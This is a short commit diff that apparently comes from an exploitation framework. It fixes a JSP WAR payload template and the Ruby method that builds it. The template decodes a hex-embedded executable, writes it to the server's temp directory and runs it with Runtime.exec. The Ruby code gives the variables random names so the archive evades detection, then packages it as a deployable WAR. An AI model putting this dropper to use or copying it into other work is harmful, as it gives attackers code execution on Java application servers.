Some war fixes
parent
dfc606fe56
commit
cf5ddfeebf
|
@ -1,5 +1,5 @@
|
|||
<%@ page import="java.io.*" %>
|
||||
<%
|
||||
<%%@ page import="java.io.*" %%>
|
||||
<%%
|
||||
String %{var_hexpath} = application.getRealPath("/") + "/%{var_hexfile}.txt";
|
||||
String %{var_exepath} = System.getProperty("java.io.tmpdir") + "/%{var_exe}";
|
||||
String %{var_data} = "";
|
||||
|
@ -46,4 +46,4 @@
|
|||
{
|
||||
Process %{var_proc} = Runtime.getRuntime().exec(%{var_exepath});
|
||||
}
|
||||
%>
|
||||
%%>
|
|
@ -1102,6 +1102,7 @@ def self.to_vba(framework,code,opts={})
|
|||
def self.to_jsp_war(exe, opts={})
|
||||
|
||||
# begin <payload>.jsp
|
||||
hash_sub = {}
|
||||
hash_sub[:var_hexpath] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_exepath] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
hash_sub[:var_data] = Rex::Text.rand_text_alpha(rand(8)+8)
|
||||
|
@ -1126,12 +1127,11 @@ def self.to_vba(framework,code,opts={})
|
|||
{
|
||||
:extra_files =>
|
||||
[
|
||||
[ "#{var_hexfile}.txt", payload_hex ]
|
||||
[ "#{hash_sub[:var_hexfile]}.txt", payload_hex ]
|
||||
]
|
||||
})
|
||||
|
||||
|
||||
template = read_replace_script_template("to_jsp.war.template", hash_sub)
|
||||
template = read_replace_script_template("to_exe_jsp.war.template", hash_sub)
|
||||
|
||||
return self.to_war(template, opts)
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue